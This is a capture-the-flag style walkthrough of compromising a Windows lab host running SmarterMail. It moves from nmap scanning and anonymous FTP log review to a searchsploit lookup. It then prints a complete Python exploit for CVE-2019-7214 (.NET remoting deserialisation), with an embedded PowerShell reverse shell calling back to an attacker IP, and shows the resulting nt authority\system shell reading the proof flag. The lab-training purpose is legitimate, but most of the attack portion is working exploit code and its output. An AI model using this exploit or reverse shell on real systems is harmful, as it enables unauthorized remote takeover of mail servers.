Nmap
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-26 10:33 +08
Nmap scan report for 192.168.105.65
Host is up (0.040s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 04-29-20 09:31PM <DIR> ImapRetrieval
| 11-25-24 06:33PM <DIR> Logs
| 04-29-20 09:31PM <DIR> PopRetrieval
|_04-29-20 09:32PM <DIR> Spool
| ftp-syst:
|_ SYST: Windows_NT
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows
| http-methods:
|_ Potentially risky methods: TRACE
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
5040/tcp open unknown
7680/tcp open pando-pub?
9998/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-title: Site doesn't have a title (text/html; charset=utf-8).
|_Requested resource was /interface/root
| uptime-agent-info: HTTP/1.1 400 Bad Request\x0D
| Content-Type: text/html; charset=us-ascii\x0D
| Server: Microsoft-HTTPAPI/2.0\x0D
| Date: Tue, 26 Nov 2024 02:36:24 GMT\x0D
| Connection: close\x0D
| Content-Length: 326\x0D
| \x0D
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd">\x0D
| <HTML><HEAD><TITLE>Bad Request</TITLE>\x0D
| <META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD>\x0D
| <BODY><h2>Bad Request - Invalid Verb</h2>\x0D
| <hr><p>HTTP Error 400. The request verb is invalid.</p>\x0D
|_</BODY></HTML>\x0D
17001/tcp open remoting MS .NET Remoting services
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2024-11-26T02:36:26
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 174.01 seconds
We see a bunch of typical open ports for Windows. Let’s quickly enumerate port 21 (FTP) and then move on to port 80 and 9998 (HTTP).
FTP
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 04-29-20 09:31PM <DIR> ImapRetrieval
| 11-25-24 06:33PM <DIR> Logs
| 04-29-20 09:31PM <DIR> PopRetrieval
|_04-29-20 09:32PM <DIR> Spool
| ftp-syst:
|_ SYST: Windows_NT
We see that anonymous login is allowed and that there are a bunch of directories listed.
I choose to download everything and review them locally.
wget -r ftp://user:pass@$RHOST/
Only the Logs directory contains files and there is one peculiar log file 2020.05.12-administrative.log:
...<truncated>...
├── Logs
│ ├── 2020.04.29-delivery.log
│ ├── 2020.04.29-profiler.log
│ ├── 2020.04.29-smtpLog.log
│ ├── 2020.04.29-xmppLog.log
│ ├── 2020.05.12-administrative.log
│ ├── 2020.05.12-delivery.log
...<truncated>...
cat Logs/2020.05.12-administrative.log
03:35:45.726 [192.168.118.6] User @ calling create primary system admin, username: admin
03:35:47.054 [192.168.118.6] Webmail Attempting to login user: admin
03:35:47.054 [192.168.118.6] Webmail Login successful: With user admin
03:35:55.820 [192.168.118.6] Webmail Attempting to login user: admin
03:35:55.820 [192.168.118.6] Webmail Login successful: With user admin
03:36:00.195 [192.168.118.6] User admin@ calling set setup wizard settings
03:36:08.242 [192.168.118.6] User admin@ logging out
We see that there is a user admin via a webmail interface.
Port 9998
Port 80 didn’t give me much, however, port 9998 redirects to http://192.168.105.65:9998/interface/root#/login and presents us with a login page.
It is running SmarterMail.
searchsploit
searchsploit gave us a bunch of results on SmarterMail.
The exploit that we always strive for is the one with RCE.
Exploit
Let’s try this simple plug-and-play RCE exploit.
# Exploit Title: SmarterMail Build 6985 - Remote Code Execution
# Exploit Author: 1F98D
# Original Author: Soroush Dalili
# Date: 10 May 2020
# Vendor Hompage: re
# CVE: CVE-2019-7214
# Tested on: Windows 10 x64
# References:
# https://www.nccgroup.trust/uk/our-research/technical-advisory-multiple-vulnerabilities-in-smartermail/
#
# SmarterMail before build 6985 provides a .NET remoting endpoint
# which is vulnerable to a .NET deserialisation attack.
#
#!/usr/bin/python3
import base64
import socket
import sys
from struct import pack
HOST='192.168.105.65'
PORT=17001
LHOST='192.168.45.169'
LPORT=4444
psh_shell = '$client = New-Object System.Net.Sockets.TCPClient("'+LHOST+'",'+str(LPORT)+');$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 =$sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
psh_shell = psh_shell.encode('utf-16')[2:] # remove BOM
psh_shell = base64.b64encode(psh_shell)
psh_shell = psh_shell.ljust(1360, b' ')
payload = 'AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwAAAAIAAAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0BAAAAC19jb21wYXJpc29uAyJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyCQUAAAARBAAAAAIAAAAGBgAAAPIKL2MgcG93ZXJzaGVsbC5leGUgLWVuY29kZWRDb21tYW5kIFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFgGBwAAAANjbWQEBQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQdtZXRob2QwB21ldGhvZDEDAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5L1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyCQgAAAAJCQAAAAkKAAAABAgAAAAwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BwAAAAR0eXBlCGFzc2VtYmx5BnRhcmdldBJ0YXJnZXRUeXBlQXNzZW1ibHkOdGFyZ2V0VHlwZU5hbWUKbWV0aG9kTmFtZQ1kZWxlZ2F0ZUVudHJ5AQECAQEBAzBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkGCwAAALACU3lzdGVtLkZ1bmNgM1tbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MsIFN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQYMAAAAS21zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQoGDQAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5Bg4AAAAaU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MGDwAAAAVTdGFydAkQAAAABAkAAAAvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIHAAAABE5hbWUMQXNzZW1ibHlOYW1lCUNsYXNzTmFtZQlTaWduYXR1cmUKU2lnbmF0dXJlMgpNZW1iZXJUeXBlEEdlbmVyaWNBcmd1bWVudHMBAQEBAQADCA1TeXN0ZW0uVHlwZVtdCQ8AAAAJDQAAAAkOAAAABhQAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykGFQAAAD5TeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcyBTdGFydChTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQgAAAAKAQoAAAAJAAAABhYAAAAHQ29tcGFyZQkMAAAABhgAAAANU3lzdGVtLlN0cmluZwYZAAAAK0ludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykGGgAAADJTeXN0ZW0uSW50MzIgQ29tcGFyZShTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQgAAAAKARAAAAAIAAAABhsAAABxU3lzdGVtLkNvbXBhcmlzb25gMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0JDAAAAAoJDAAAAAkYAAAACRYAAAAKCw=='
payload = base64.b64decode(payload)
payload = payload.replace(bytes("X"*1360, 'utf-8'), psh_shell)
uri = bytes('tcp://{}:{}/Servers'.format(HOST, str(PORT)), 'utf-8')
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST,PORT))
msg = bytes()
msg += b'.NET' # Header
msg += b'\x01' # Version Major
msg += b'\x00' # Version Minor
msg += b'\x00\x00' # Operation Type
msg += b'\x00\x00' # Content Distribution
msg += pack('I', len(payload)) # Data Length
msg += b'\x04\x00' # URI Header
msg += b'\x01' # Data Type
msg += b'\x01' # Encoding - UTF8
msg += pack('I', len(uri)) # URI Length
msg += uri # URI
msg += b'\x00\x00' # Terminating Header
msg += payload # Data
s.send(msg)
s.close()
Author’s Notes
The author’s notes in the python script mentions that it exploits the .NET remoting endpoint provided by SmarterMail.
By default, the target port is already set to 17001 and we can check our nmap scan results again to confirm that it is the correct endpoint.
17001/tcp open remoting MS .NET Remoting services
Run Exploit
After opening a nc listener and running the exploit, the listener catches a shell.
wrapnc 4444
listening on [any] 4444 ...
connect to [192.168.45.169] from (UNKNOWN) [192.168.105.65] 50018
whoami
nt authority\system
PS C:\Windows\system32> cd C:/users
PS C:\users> dir
Directory: C:\users
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 4/29/2020 10:30 PM .NET v4.5
d----- 4/29/2020 10:30 PM .NET v4.5 Classic
d----- 5/2/2022 7:05 AM Administrator
d----- 4/23/2020 3:16 AM dean
d----- 11/25/2024 6:33 PM DefaultAppPool
d-r--- 4/22/2020 4:54 AM Public
PS C:\users> cd administrator/desktop
PS C:\users\administrator\desktop> cat proof.txt
2b0b5d5ce9e1faa8158fa2db5e8914a8
The exploit brings us straight to the nt authority\system account.